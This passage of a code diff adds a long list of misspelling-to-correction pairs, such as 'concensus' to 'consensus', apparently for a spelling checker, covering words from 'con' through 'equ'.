+  or
+  wrong = "concensus" and right = "consensus"
+  or
+  wrong = "concider" and right = "consider"
+  or
+  wrong = "concidered" and right = "considered"
+  or
+  wrong = "concidering" and right = "considering"
+  or
+  wrong = "conciders" and right = "considers"
+  or
+  wrong = "concieted" and right = "conceited"
+  or
+  wrong = "concieved" and right = "conceived"
+  or
+  wrong = "concious" and right = "conscious"
+  or
+  wrong = "conciously" and right = "consciously"
+  or
+  wrong = "conciousness" and right = "consciousness"
+  or
+  wrong = "condamned" and right = "condemned"
+  or
+  wrong = "condemmed" and right = "condemned"
+  or
+  wrong = "condidtion" and right = "condition"
+  or
+  wrong = "condidtions" and right = "conditions"
+  or
+  wrong = "conected" and right = "connected"
+  or
+  wrong = "conection" and right = "connection"
+  or
+  wrong = "conesencus" and right = "consensus"
+  or
+  wrong = "confidental" and right = "confidential"
+  or
+  wrong = "confidentally" and right = "confidentially"
+  or
+  wrong = "confids" and right = "confides"
+  or
+  wrong = "configureable" and right = "configurable"
+  or
+  wrong = "confortable" and right = "comfortable"
+  or
+  wrong = "congradulations" and right = "congratulations"
+  or
+  wrong = "congresional" and right = "congressional"
+  or
+  wrong = "conived" and right = "connived"
+  or
+  wrong = "conjecutre" and right = "conjecture"
+  or
+  wrong = "conjuction" and right = "conjunction"
+  or
+  wrong = "connectinos" and right = "connections"
+  or
+  wrong = "conneticut" and right = "connecticut"
+  or
+  wrong = "conotations" and right = "connotations"
+  or
+  wrong = "conquerd" and right = "conquered"
+  or
+  wrong = "conquerer" and right = "conqueror"
+  or
+  wrong = "conquerers" and right = "conquerors"
+  or
+  wrong = "conqured" and right = "conquered"
+  or
+  wrong = "conscent" and right = "consent"
+  or
+  wrong = "consciouness" and right = "consciousness"
+  or
+  wrong = "consdider" and right = "consider"
+  or
+  wrong = "consdidered" and right = "considered"
+  or
+  wrong = "consdiered" and right = "considered"
+  or
+  wrong = "consectutive" and right = "consecutive"
+  or
+  wrong = "consenquently" and right = "consequently"
+  or
+  wrong = "consentrate" and right = "concentrate"
+  or
+  wrong = "consentrated" and right = "concentrated"
+  or
+  wrong = "consentrates" and right = "concentrates"
+  or
+  wrong = "consept" and right = "concept"
+  or
+  wrong = "consequentually" and right = "consequently"
+  or
+  wrong = "consequeseces" and right = "consequences"
+  or
+  wrong = "consern" and right = "concern"
+  or
+  wrong = "conserned" and right = "concerned"
+  or
+  wrong = "conserning" and right = "concerning"
+  or
+  wrong = "conservitive" and right = "conservative"
+  or
+  wrong = "consiciousness" and right = "consciousness"
+  or
+  wrong = "consicousness" and right = "consciousness"
+  or
+  wrong = "considerd" and right = "considered"
+  or
+  wrong = "consideres" and right = "considered"
+  or
+  wrong = "consious" and right = "conscious"
+  or
+  wrong = "consistant" and right = "consistent"
+  or
+  wrong = "consistantly" and right = "consistently"
+  or
+  wrong = "consituencies" and right = "constituencies"
+  or
+  wrong = "consituency" and right = "constituency"
+  or
+  wrong = "consituted" and right = "constituted"
+  or
+  wrong = "consitution" and right = "constitution"
+  or
+  wrong = "consitutional" and right = "constitutional"
+  or
+  wrong = "consolodate" and right = "consolidate"
+  or
+  wrong = "consolodated" and right = "consolidated"
+  or
+  wrong = "consonent" and right = "consonant"
+  or
+  wrong = "consonents" and right = "consonants"
+  or
+  wrong = "consorcium" and right = "consortium"
+  or
+  wrong = "conspiracys" and right = "conspiracies"
+  or
+  wrong = "conspiriator" and right = "conspirator"
+  or
+  wrong = "consructor" and right = "constructor"
+  or
+  wrong = "constaints" and right = "constraints"
+  or
+  wrong = "constanly" and right = "constantly"
+  or
+  wrong = "constarnation" and right = "consternation"
+  or
+  wrong = "constatn" and right = "constant"
+  or
+  wrong = "constinually" and right = "continually"
+  or
+  wrong = "constituant" and right = "constituent"
+  or
+  wrong = "constituants" and right = "constituents"
+  or
+  wrong = "constituion" and right = "constitution"
+  or
+  wrong = "constituional" and right = "constitutional"
+  or
+  wrong = "consttruction" and right = "construction"
+  or
+  wrong = "constuction" and right = "construction"
+  or
+  wrong = "consulant" and right = "consultant"
+  or
+  wrong = "consumate" and right = "consummate"
+  or
+  wrong = "consumated" and right = "consummated"
+  or
+  wrong = "contaiminate" and right = "contaminate"
+  or
+  wrong = "containes" and right = "contains"
+  or
+  wrong = "contamporaries" and right = "contemporaries"
+  or
+  wrong = "contamporary" and right = "contemporary"
+  or
+  wrong = "contempoary" and right = "contemporary"
+  or
+  wrong = "contemporaneus" and right = "contemporaneous"
+  or
+  wrong = "contempory" and right = "contemporary"
+  or
+  wrong = "contendor" and right = "contender"
+  or
+  wrong = "contian" and right = "contain"
+  or
+  wrong = "contians" and right = "contains"
+  or
+  wrong = "contibute" and right = "contribute"
+  or
+  wrong = "contibuted" and right = "contributed"
+  or
+  wrong = "contibutes" and right = "contributes"
+  or
+  wrong = "contigent" and right = "contingent"
+  or
+  wrong = "contined" and right = "continued"
+  or
+  wrong = "continential" and right = "continental"
+  or
+  wrong = "continous" and right = "continuous"
+  or
+  wrong = "continously" and right = "continuously"
+  or
+  wrong = "continueing" and right = "continuing"
+  or
+  wrong = "contravercial" and right = "controversial"
+  or
+  wrong = "contraversy" and right = "controversy"
+  or
+  wrong = "contributer" and right = "contributor"
+  or
+  wrong = "contributers" and right = "contributors"
+  or
+  wrong = "contritutions" and right = "contributions"
+  or
+  wrong = "controled" and right = "controlled"
+  or
+  wrong = "controling" and right = "controlling"
+  or
+  wrong = "controll" and right = "control"
+  or
+  wrong = "controlls" and right = "controls"
+  or
+  wrong = "controvercial" and right = "controversial"
+  or
+  wrong = "controvercy" and right = "controversy"
+  or
+  wrong = "controveries" and right = "controversies"
+  or
+  wrong = "controversal" and right = "controversial"
+  or
+  wrong = "controversey" and right = "controversy"
+  or
+  wrong = "controvertial" and right = "controversial"
+  or
+  wrong = "controvery" and right = "controversy"
+  or
+  wrong = "contruction" and right = "construction"
+  or
+  wrong = "contructor" and right = "constructor"
+  or
+  wrong = "contstruction" and right = "construction"
+  or
+  wrong = "conveinent" and right = "convenient"
+  or
+  wrong = "convenant" and right = "covenant"
+  or
+  wrong = "convential" and right = "conventional"
+  or
+  wrong = "convertables" and right = "convertibles"
+  or
+  wrong = "convertion" and right = "conversion"
+  or
+  wrong = "conviced" and right = "convinced"
+  or
+  wrong = "convienient" and right = "convenient"
+  or
+  wrong = "coordiantion" and right = "coordination"
+  or
+  wrong = "coorperation" and right = "cooperation"
+  or
+  wrong = "coorperation" and right = "corporation"
+  or
+  wrong = "coorperations" and right = "corporations"
+  or
+  wrong = "copmetitors" and right = "competitors"
+  or
+  wrong = "coputer" and right = "computer"
+  or
+  wrong = "copywrite" and right = "copyright"
+  or
+  wrong = "coridal" and right = "cordial"
+  or
+  wrong = "cornmitted" and right = "committed"
+  or
+  wrong = "corosion" and right = "corrosion"
+  or
+  wrong = "corparate" and right = "corporate"
+  or
+  wrong = "corperations" and right = "corporations"
+  or
+  wrong = "correcters" and right = "correctors"
+  or
+  wrong = "correponding" and right = "corresponding"
+  or
+  wrong = "correposding" and right = "corresponding"
+  or
+  wrong = "correspondant" and right = "correspondent"
+  or
+  wrong = "correspondants" and right = "correspondents"
+  or
+  wrong = "corridoors" and right = "corridors"
+  or
+  wrong = "corrispond" and right = "correspond"
+  or
+  wrong = "corrispondant" and right = "correspondent"
+  or
+  wrong = "corrispondants" and right = "correspondents"
+  or
+  wrong = "corrisponded" and right = "corresponded"
+  or
+  wrong = "corrisponding" and right = "corresponding"
+  or
+  wrong = "corrisponds" and right = "corresponds"
+  or
+  wrong = "costitution" and right = "constitution"
+  or
+  wrong = "coucil" and right = "council"
+  or
+  wrong = "coudl" and right = "cloud"
+  or
+  wrong = "coudl" and right = "could"
+  or
+  wrong = "councellor" and right = "councillor"
+  or
+  wrong = "councellor" and right = "councilor"
+  or
+  wrong = "councellor" and right = "counselor"
+  or
+  wrong = "councellors" and right = "councillors"
+  or
+  wrong = "councellors" and right = "councilors"
+  or
+  wrong = "councellors" and right = "counselors"
+  or
+  wrong = "counries" and right = "countries"
+  or
+  wrong = "countains" and right = "contains"
+  or
+  wrong = "countires" and right = "countries"
+  or
+  wrong = "coururier" and right = "courier"
+  or
+  wrong = "coururier" and right = "couturier"
+  or
+  wrong = "coverted" and right = "converted"
+  or
+  wrong = "coverted" and right = "covered"
+  or
+  wrong = "coverted" and right = "coveted"
+  or
+  wrong = "cpoy" and right = "copy"
+  or
+  wrong = "cpoy" and right = "coy"
+  or
+  wrong = "creaeted" and right = "created"
+  or
+  wrong = "creedence" and right = "credence"
+  or
+  wrong = "critereon" and right = "criterion"
+  or
+  wrong = "criterias" and right = "criteria"
+  or
+  wrong = "criticists" and right = "critics"
+  or
+  wrong = "critising" and right = "criticising"
+  or
+  wrong = "critising" and right = "criticizing"
+  or
+  wrong = "critisising" and right = "criticising"
+  or
+  wrong = "critisism" and right = "criticism"
+  or
+  wrong = "critisisms" and right = "criticisms"
+  or
+  wrong = "critisize" and right = "criticise"
+  or
+  wrong = "critisize" and right = "criticize"
+  or
+  wrong = "critisized" and right = "criticised"
+  or
+  wrong = "critisized" and right = "criticized"
+  or
+  wrong = "critisizes" and right = "criticises"
+  or
+  wrong = "critisizes" and right = "criticizes"
+  or
+  wrong = "critisizing" and right = "criticising"
+  or
+  wrong = "critisizing" and right = "criticizing"
+  or
+  wrong = "critized" and right = "criticized"
+  or
+  wrong = "critizing" and right = "criticizing"
+  or
+  wrong = "crockodiles" and right = "crocodiles"
+  or
+  wrong = "crowm" and right = "crown"
+  or
+  wrong = "crtical" and right = "critical"
+  or
+  wrong = "crticised" and right = "criticised"
+  or
+  wrong = "crucifiction" and right = "crucifixion"
+  or
+  wrong = "crusies" and right = "cruises"
+  or
+  wrong = "crutial" and right = "crucial"
+  or
+  wrong = "crystalisation" and right = "crystallisation"
+  or
+  wrong = "culiminating" and right = "culminating"
+  or
+  wrong = "cumulatative" and right = "cumulative"
+  or
+  wrong = "curch" and right = "church"
+  or
+  wrong = "curcuit" and right = "circuit"
+  or
+  wrong = "currenly" and right = "currently"
+  or
+  wrong = "curriculem" and right = "curriculum"
+  or
+  wrong = "cxan" and right = "cyan"
+  or
+  wrong = "cyclinder" and right = "cylinder"
+  or
+  wrong = "dacquiri" and right = "daiquiri"
+  or
+  wrong = "daed" and right = "dead"
+  or
+  wrong = "dael" and right = "dahl"
+  or
+  wrong = "dael" and right = "deal"
+  or
+  wrong = "dael" and right = "dial"
+  or
+  wrong = "dalmation" and right = "dalmatian"
+  or
+  wrong = "damenor" and right = "demeanor"
+  or
+  wrong = "dammage" and right = "damage"
+  or
+  wrong = "dardenelles" and right = "dardanelles"
+  or
+  wrong = "daugher" and right = "daughter"
+  or
+  wrong = "deafult" and right = "default"
+  or
+  wrong = "debateable" and right = "debatable"
+  or
+  wrong = "decendant" and right = "descendant"
+  or
+  wrong = "decendants" and right = "descendants"
+  or
+  wrong = "decendent" and right = "descendant"
+  or
+  wrong = "decendents" and right = "descendants"
+  or
+  wrong = "decideable" and right = "decidable"
+  or
+  wrong = "decidely" and right = "decidedly"
+  or
+  wrong = "decieved" and right = "deceived"
+  or
+  wrong = "decison" and right = "decision"
+  or
+  wrong = "decomissioned" and right = "decommissioned"
+  or
+  wrong = "decomposit" and right = "decompose"
+  or
+  wrong = "decomposited" and right = "decomposed"
+  or
+  wrong = "decompositing" and right = "decomposing"
+  or
+  wrong = "decomposits" and right = "decomposes"
+  or
+  wrong = "decress" and right = "decrees"
+  or
+  wrong = "decribe" and right = "describe"
+  or
+  wrong = "decribed" and right = "described"
+  or
+  wrong = "decribes" and right = "describes"
+  or
+  wrong = "decribing" and right = "describing"
+  or
+  wrong = "dectect" and right = "detect"
+  or
+  wrong = "defendent" and right = "defendant"
+  or
+  wrong = "defendents" and right = "defendants"
+  or
+  wrong = "deffensively" and right = "defensively"
+  or
+  wrong = "deffine" and right = "define"
+  or
+  wrong = "deffined" and right = "defined"
+  or
+  wrong = "definance" and right = "defiance"
+  or
+  wrong = "definate" and right = "definite"
+  or
+  wrong = "definately" and right = "definitely"
+  or
+  wrong = "definatly" and right = "definitely"
+  or
+  wrong = "definetly" and right = "definitely"
+  or
+  wrong = "definining" and right = "defining"
+  or
+  wrong = "definit" and right = "definite"
+  or
+  wrong = "definitly" and right = "definitely"
+  or
+  wrong = "definiton" and right = "definition"
+  or
+  wrong = "defintion" and right = "definition"
+  or
+  wrong = "defualt" and right = "default"
+  or
+  wrong = "defult" and right = "default"
+  or
+  wrong = "degrate" and right = "degrade"
+  or
+  wrong = "delagates" and right = "delegates"
+  or
+  wrong = "delapidated" and right = "dilapidated"
+  or
+  wrong = "delerious" and right = "delirious"
+  or
+  wrong = "delevopment" and right = "development"
+  or
+  wrong = "deliberatly" and right = "deliberately"
+  or
+  wrong = "delusionally" and right = "delusively"
+  or
+  wrong = "demenor" and right = "demeanor"
+  or
+  wrong = "demographical" and right = "demographic"
+  or
+  wrong = "demolision" and right = "demolition"
+  or
+  wrong = "demorcracy" and right = "democracy"
+  or
+  wrong = "demostration" and right = "demonstration"
+  or
+  wrong = "denegrating" and right = "denigrating"
+  or
+  wrong = "densly" and right = "densely"
+  or
+  wrong = "deparment" and right = "department"
+  or
+  wrong = "deparmental" and right = "departmental"
+  or
+  wrong = "deparments" and right = "departments"
+  or
+  wrong = "dependance" and right = "dependence"
+  or
+  wrong = "dependancy" and right = "dependency"
+  or
+  wrong = "deram" and right = "dram"
+  or
+  wrong = "deram" and right = "dream"
+  or
+  wrong = "deriviated" and right = "derived"
+  or
+  wrong = "derivitive" and right = "derivative"
+  or
+  wrong = "derogitory" and right = "derogatory"
+  or
+  wrong = "descendands" and right = "descendants"
+  or
+  wrong = "descibed" and right = "described"
+  or
+  wrong = "desciptors" and right = "descriptors"
+  or
+  wrong = "descision" and right = "decision"
+  or
+  wrong = "descisions" and right = "decisions"
+  or
+  wrong = "descriibes" and right = "describes"
+  or
+  wrong = "descripters" and right = "descriptors"
+  or
+  wrong = "descripton" and right = "description"
+  or
+  wrong = "desctruction" and right = "destruction"
+  or
+  wrong = "descuss" and right = "discuss"
+  or
+  wrong = "desgined" and right = "designed"
+  or
+  wrong = "deside" and right = "decide"
+  or
+  wrong = "desigining" and right = "designing"
+  or
+  wrong = "desinations" and right = "destinations"
+  or
+  wrong = "desintegrated" and right = "disintegrated"
+  or
+  wrong = "desintegration" and right = "disintegration"
+  or
+  wrong = "desireable" and right = "desirable"
+  or
+  wrong = "desitned" and right = "destined"
+  or
+  wrong = "desktiop" and right = "desktop"
+  or
+  wrong = "desorder" and right = "disorder"
+  or
+  wrong = "desoriented" and right = "disoriented"
+  or
+  wrong = "desparate" and right = "desperate"
+  or
+  wrong = "desparate" and right = "disparate"
+  or
+  wrong = "despict" and right = "depict"
+  or
+  wrong = "despiration" and right = "desperation"
+  or
+  wrong = "dessicated" and right = "desiccated"
+  or
+  wrong = "dessigned" and right = "designed"
+  or
+  wrong = "destablized" and right = "destabilized"
+  or
+  wrong = "destory" and right = "destroy"
+  or
+  wrong = "detailled" and right = "detailed"
+  or
+  wrong = "detatched" and right = "detached"
+  or
+  wrong = "deteoriated" and right = "deteriorated"
+  or
+  wrong = "deteriate" and right = "deteriorate"
+  or
+  wrong = "deterioriating" and right = "deteriorating"
+  or
+  wrong = "determinining" and right = "determining"
+  or
+  wrong = "detremental" and right = "detrimental"
+  or
+  wrong = "devasted" and right = "devastated"
+  or
+  wrong = "develope" and right = "develop"
+  or
+  wrong = "developement" and right = "development"
+  or
+  wrong = "developped" and right = "developed"
+  or
+  wrong = "develpment" and right = "development"
+  or
+  wrong = "devels" and right = "delves"
+  or
+  wrong = "devestated" and right = "devastated"
+  or
+  wrong = "devestating" and right = "devastating"
+  or
+  wrong = "devide" and right = "divide"
+  or
+  wrong = "devided" and right = "divided"
+  or
+  wrong = "devistating" and right = "devastating"
+  or
+  wrong = "devolopement" and right = "development"
+  or
+  wrong = "diablical" and right = "diabolical"
+  or
+  wrong = "diamons" and right = "diamonds"
+  or
+  wrong = "diaster" and right = "disaster"
+  or
+  wrong = "dichtomy" and right = "dichotomy"
+  or
+  wrong = "diconnects" and right = "disconnects"
+  or
+  wrong = "dicover" and right = "discover"
+  or
+  wrong = "dicovered" and right = "discovered"
+  or
+  wrong = "dicovering" and right = "discovering"
+  or
+  wrong = "dicovers" and right = "discovers"
+  or
+  wrong = "dicovery" and right = "discovery"
+  or
+  wrong = "dictionarys" and right = "dictionaries"
+  or
+  wrong = "dicussed" and right = "discussed"
+  or
+  wrong = "diea" and right = "die"
+  or
+  wrong = "diea" and right = "idea"
+  or
+  wrong = "dieing" and right = "dyeing"
+  or
+  wrong = "dieing" and right = "dying"
+  or
+  wrong = "dieties" and right = "deities"
+  or
+  wrong = "diety" and right = "deity"
+  or
+  wrong = "diferent" and right = "different"
+  or
+  wrong = "diferrent" and right = "different"
+  or
+  wrong = "differentiatiations" and right = "differentiations"
+  or
+  wrong = "differnt" and right = "different"
+  or
+  wrong = "difficulity" and right = "difficulty"
+  or
+  wrong = "diffrent" and right = "different"
+  or
+  wrong = "dificulties" and right = "difficulties"
+  or
+  wrong = "dificulty" and right = "difficulty"
+  or
+  wrong = "dimenions" and right = "dimensions"
+  or
+  wrong = "dimention" and right = "dimension"
+  or
+  wrong = "dimentional" and right = "dimensional"
+  or
+  wrong = "dimentions" and right = "dimensions"
+  or
+  wrong = "dimesnional" and right = "dimensional"
+  or
+  wrong = "diminuitive" and right = "diminutive"
+  or
+  wrong = "dimunitive" and right = "diminutive"
+  or
+  wrong = "diosese" and right = "diocese"
+  or
+  wrong = "diphtong" and right = "diphthong"
+  or
+  wrong = "diphtongs" and right = "diphthongs"
+  or
+  wrong = "diplomancy" and right = "diplomacy"
+  or
+  wrong = "dipthong" and right = "diphthong"
+  or
+  wrong = "dipthongs" and right = "diphthongs"
+  or
+  wrong = "directoty" and right = "directory"
+  or
+  wrong = "dirived" and right = "derived"
+  or
+  wrong = "disagreeed" and right = "disagreed"
+  or
+  wrong = "disapeared" and right = "disappeared"
+  or
+  wrong = "disapointing" and right = "disappointing"
+  or
+  wrong = "disappearred" and right = "disappeared"
+  or
+  wrong = "disaproval" and right = "disapproval"
+  or
+  wrong = "disasterous" and right = "disastrous"
+  or
+  wrong = "disatisfaction" and right = "dissatisfaction"
+  or
+  wrong = "disatisfied" and right = "dissatisfied"
+  or
+  wrong = "disatrous" and right = "disastrous"
+  or
+  wrong = "discontentment" and right = "discontent"
+  or
+  wrong = "discribe" and right = "describe"
+  or
+  wrong = "discribed" and right = "described"
+  or
+  wrong = "discribes" and right = "describes"
+  or
+  wrong = "discribing" and right = "describing"
+  or
+  wrong = "disctinction" and right = "distinction"
+  or
+  wrong = "disctinctive" and right = "distinctive"
+  or
+  wrong = "disemination" and right = "dissemination"
+  or
+  wrong = "disenchanged" and right = "disenchanted"
+  or
+  wrong = "disiplined" and right = "disciplined"
+  or
+  wrong = "disobediance" and right = "disobedience"
+  or
+  wrong = "disobediant" and right = "disobedient"
+  or
+  wrong = "disolved" and right = "dissolved"
+  or
+  wrong = "disover" and right = "discover"
+  or
+  wrong = "dispair" and right = "despair"
+  or
+  wrong = "disparingly" and right = "disparagingly"
+  or
+  wrong = "dispence" and right = "dispense"
+  or
+  wrong = "dispenced" and right = "dispensed"
+  or
+  wrong = "dispencing" and right = "dispensing"
+  or
+  wrong = "dispicable" and right = "despicable"
+  or
+  wrong = "dispite" and right = "despite"
+  or
+  wrong = "dispostion" and right = "disposition"
+  or
+  wrong = "disproportiate" and right = "disproportionate"
+  or
+  wrong = "disputandem" and right = "disputandum"
+  or
+  wrong = "disricts" and right = "districts"
+  or
+  wrong = "dissagreement" and right = "disagreement"
+  or
+  wrong = "dissapear" and right = "disappear"
+  or
+  wrong = "dissapearance" and right = "disappearance"
+  or
+  wrong = "dissapeared" and right = "disappeared"
+  or
+  wrong = "dissapearing" and right = "disappearing"
+  or
+  wrong = "dissapears" and right = "disappears"
+  or
+  wrong = "dissappear" and right = "disappear"
+  or
+  wrong = "dissappears" and right = "disappears"
+  or
+  wrong = "dissappointed" and right = "disappointed"
+  or
+  wrong = "dissarray" and right = "disarray"
+  or
+  wrong = "dissobediance" and right = "disobedience"
+  or
+  wrong = "dissobediant" and right = "disobedient"
+  or
+  wrong = "dissobedience" and right = "disobedience"
+  or
+  wrong = "dissobedient" and right = "disobedient"
+  or
+  wrong = "distiction" and right = "distinction"
+  or
+  wrong = "distingish" and right = "distinguish"
+  or
+  wrong = "distingished" and right = "distinguished"
+  or
+  wrong = "distingishes" and right = "distinguishes"
+  or
+  wrong = "distingishing" and right = "distinguishing"
+  or
+  wrong = "distingquished" and right = "distinguished"
+  or
+  wrong = "distrubution" and right = "distribution"
+  or
+  wrong = "distruction" and right = "destruction"
+  or
+  wrong = "distructive" and right = "destructive"
+  or
+  wrong = "ditributed" and right = "distributed"
+  or
+  wrong = "diversed" and right = "diverged"
+  or
+  wrong = "diversed" and right = "diverse"
+  or
+  wrong = "divice" and right = "device"
+  or
+  wrong = "divinition" and right = "divination"
+  or
+  wrong = "divison" and right = "division"
+  or
+  wrong = "divisons" and right = "divisions"
+  or
+  wrong = "doccument" and right = "document"
+  or
+  wrong = "doccumented" and right = "documented"
+  or
+  wrong = "doccuments" and right = "documents"
+  or
+  wrong = "docrines" and right = "doctrines"
+  or
+  wrong = "doctines" and right = "doctrines"
+  or
+  wrong = "documenatry" and right = "documentary"
+  or
+  wrong = "doens" and right = "does"
+  or
+  wrong = "doign" and right = "doing"
+  or
+  wrong = "dominaton" and right = "domination"
+  or
+  wrong = "dominent" and right = "dominant"
+  or
+  wrong = "dominiant" and right = "dominant"
+  or
+  wrong = "donig" and right = "doing"
+  or
+  wrong = "doub" and right = "daub"
+  or
+  wrong = "doub" and right = "doubt"
+  or
+  wrong = "doulbe" and right = "double"
+  or
+  wrong = "dowloads" and right = "downloads"
+  or
+  wrong = "dramtic" and right = "dramatic"
+  or
+  wrong = "draughtman" and right = "draughtsman"
+  or
+  wrong = "dravadian" and right = "dravidian"
+  or
+  wrong = "dreasm" and right = "dreams"
+  or
+  wrong = "driectly" and right = "directly"
+  or
+  wrong = "drnik" and right = "drink"
+  or
+  wrong = "druming" and right = "drumming"
+  or
+  wrong = "drummless" and right = "drumless"
+  or
+  wrong = "dum" and right = "dumb"
+  or
+  wrong = "dupicate" and right = "duplicate"
+  or
+  wrong = "durig" and right = "during"
+  or
+  wrong = "durring" and right = "during"
+  or
+  wrong = "duting" and right = "during"
+  or
+  wrong = "dyas" and right = "dryas"
+  or
+  wrong = "eahc" and right = "each"
+  or
+  wrong = "ealier" and right = "earlier"
+  or
+  wrong = "earlies" and right = "earliest"
+  or
+  wrong = "earnt" and right = "earned"
+  or
+  wrong = "ecclectic" and right = "eclectic"
+  or
+  wrong = "eceonomy" and right = "economy"
+  or
+  wrong = "ecidious" and right = "deciduous"
+  or
+  wrong = "eclispe" and right = "eclipse"
+  or
+  wrong = "ecomonic" and right = "economic"
+  or
+  wrong = "ect" and right = "etc"
+  or
+  wrong = "editting" and right = "editing"
+  or
+  wrong = "eearly" and right = "early"
+  or
+  wrong = "efel" and right = "evil"
+  or
+  wrong = "effeciency" and right = "efficiency"
+  or
+  wrong = "effecient" and right = "efficient"
+  or
+  wrong = "effeciently" and right = "efficiently"
+  or
+  wrong = "efficency" and right = "efficiency"
+  or
+  wrong = "efficent" and right = "efficient"
+  or
+  wrong = "efficently" and right = "efficiently"
+  or
+  wrong = "efford" and right = "afford"
+  or
+  wrong = "efford" and right = "effort"
+  or
+  wrong = "effords" and right = "affords"
+  or
+  wrong = "effords" and right = "efforts"
+  or
+  wrong = "effulence" and right = "effluence"
+  or
+  wrong = "eigth" and right = "eight"
+  or
+  wrong = "eigth" and right = "eighth"
+  or
+  wrong = "eiter" and right = "either"
+  or
+  wrong = "elction" and right = "election"
+  or
+  wrong = "electic" and right = "eclectic"
+  or
+  wrong = "electic" and right = "electric"
+  or
+  wrong = "electon" and right = "election"
+  or
+  wrong = "electon" and right = "electron"
+  or
+  wrong = "electrial" and right = "electrical"
+  or
+  wrong = "electricly" and right = "electrically"
+  or
+  wrong = "electricty" and right = "electricity"
+  or
+  wrong = "elementay" and right = "elementary"
+  or
+  wrong = "eleminated" and right = "eliminated"
+  or
+  wrong = "eleminating" and right = "eliminating"
+  or
+  wrong = "eles" and right = "eels"
+  or
+  wrong = "eletricity" and right = "electricity"
+  or
+  wrong = "elicided" and right = "elicited"
+  or
+  wrong = "eligable" and right = "eligible"
+  or
+  wrong = "elimentary" and right = "elementary"
+  or
+  wrong = "ellected" and right = "elected"
+  or
+  wrong = "elphant" and right = "elephant"
+  or
+  wrong = "embarass" and right = "embarrass"
+  or
+  wrong = "embarassed" and right = "embarrassed"
+  or
+  wrong = "embarassing" and right = "embarrassing"
+  or
+  wrong = "embarassment" and right = "embarrassment"
+  or
+  wrong = "embargos" and right = "embargoes"
+  or
+  wrong = "embarras" and right = "embarrass"
+  or
+  wrong = "embarrased" and right = "embarrassed"
+  or
+  wrong = "embarrasing" and right = "embarrassing"
+  or
+  wrong = "embarrasment" and right = "embarrassment"
+  or
+  wrong = "embezelled" and right = "embezzled"
+  or
+  wrong = "emblamatic" and right = "emblematic"
+  or
+  wrong = "eminate" and right = "emanate"
+  or
+  wrong = "eminated" and right = "emanated"
+  or
+  wrong = "emision" and right = "emission"
+  or
+  wrong = "emited" and right = "emitted"
+  or
+  wrong = "emiting" and right = "emitting"
+  or
+  wrong = "emition" and right = "emission"
+  or
+  wrong = "emition" and right = "emotion"
+  or
+  wrong = "emmediately" and right = "immediately"
+  or
+  wrong = "emmigrated" and right = "emigrated"
+  or
+  wrong = "emmigrated" and right = "immigrated"
+  or
+  wrong = "emminent" and right = "eminent"
+  or
+  wrong = "emminent" and right = "imminent"
+  or
+  wrong = "emminently" and right = "eminently"
+  or
+  wrong = "emmisaries" and right = "emissaries"
+  or
+  wrong = "emmisarries" and right = "emissaries"
+  or
+  wrong = "emmisarry" and right = "emissary"
+  or
+  wrong = "emmisary" and right = "emissary"
+  or
+  wrong = "emmision" and right = "emission"
+  or
+  wrong = "emmisions" and right = "emissions"
+  or
+  wrong = "emmited" and right = "emitted"
+  or
+  wrong = "emmiting" and right = "emitting"
+  or
+  wrong = "emmitted" and right = "emitted"
+  or
+  wrong = "emmitting" and right = "emitting"
+  or
+  wrong = "emnity" and right = "enmity"
+  or
+  wrong = "emperical" and right = "empirical"
+  or
+  wrong = "emphaised" and right = "emphasised"
+  or
+  wrong = "emphsis" and right = "emphasis"
+  or
+  wrong = "emphysyma" and right = "emphysema"
+  or
+  wrong = "empirial" and right = "empirical"
+  or
+  wrong = "empirial" and right = "imperial"
+  or
+  wrong = "emporer" and right = "emperor"
+  or
+  wrong = "emprisoned" and right = "imprisoned"
+  or
+  wrong = "enameld" and right = "enameled"
+  or
+  wrong = "enchancement" and right = "enhancement"
+  or
+  wrong = "encouraing" and right = "encouraging"
+  or
+  wrong = "encryptiion" and right = "encryption"
+  or
+  wrong = "encylopedia" and right = "encyclopedia"
+  or
+  wrong = "endevors" and right = "endeavors"
+  or
+  wrong = "endevour" and right = "endeavour"
+  or
+  wrong = "endig" and right = "ending"
+  or
+  wrong = "endolithes" and right = "endoliths"
+  or
+  wrong = "enduce" and right = "induce"
+  or
+  wrong = "ened" and right = "need"
+  or
+  wrong = "enforceing" and right = "enforcing"
+  or
+  wrong = "engagment" and right = "engagement"
+  or
+  wrong = "engeneer" and right = "engineer"
+  or
+  wrong = "engeneering" and right = "engineering"
+  or
+  wrong = "engieneer" and right = "engineer"
+  or
+  wrong = "engieneers" and right = "engineers"
+  or
+  wrong = "enlargment" and right = "enlargement"
+  or
+  wrong = "enlargments" and right = "enlargements"
+  or
+  wrong = "enlish" and right = "english"
+  or
+  wrong = "enlish" and right = "enlist"
+  or
+  wrong = "enourmous" and right = "enormous"
+  or
+  wrong = "enourmously" and right = "enormously"
+  or
+  wrong = "ensconsed" and right = "ensconced"
+  or
+  wrong = "entaglements" and right = "entanglements"
+  or
+  wrong = "enteratinment" and right = "entertainment"
+  or
+  wrong = "enthusiatic" and right = "enthusiastic"
+  or
+  wrong = "entitity" and right = "entity"
+  or
+  wrong = "entitlied" and right = "entitled"
+  or
+  wrong = "entrepeneur" and right = "entrepreneur"
+  or
+  wrong = "entrepeneurs" and right = "entrepreneurs"
+  or
+  wrong = "enviorment" and right = "environment"
+  or
+  wrong = "enviormental" and right = "environmental"
+  or
+  wrong = "enviormentally" and right = "environmentally"
+  or
+  wrong = "enviorments" and right = "environments"
+  or
+  wrong = "enviornment" and right = "environment"
+  or
+  wrong = "enviornmental" and right = "environmental"
+  or
+  wrong = "enviornmentalist" and right = "environmentalist"
+  or
+  wrong = "enviornmentally" and right = "environmentally"
+  or
+  wrong = "enviornments" and right = "environments"
+  or
+  wrong = "enviroment" and right = "environment"
+  or
+  wrong = "enviromental" and right = "environmental"
+  or
+  wrong = "enviromentalist" and right = "environmentalist"
+  or
+  wrong = "enviromentally" and right = "environmentally"
+  or
+  wrong = "enviroments" and right = "environments"
+  or
+  wrong = "environemnt" and right = "environment"
+  or
+  wrong = "envolutionary" and right = "evolutionary"
+  or
+  wrong = "envrionments" and right = "environments"
+  or
+  wrong = "enxt" and right = "next"
+  or
+  wrong = "epidsodes" and right = "episodes"
+  or
+  wrong = "epsiode" and right = "episode"
+  or
+  wrong = "equialent" and right = "equivalent"
+  or
+  wrong = "equilibium" and right = "equilibrium"
+  or
+  wrong = "equilibrum" and right = "equilibrium"
+  or
+  wrong = "equiped" and right = "equipped"
+  or
+  wrong = "equippment" and right = "equipment"
+  or
+  wrong = "equitorial" and right = "equatorial"
+  or
+  wrong = "equivelant" and right = "equivalent"
+  or
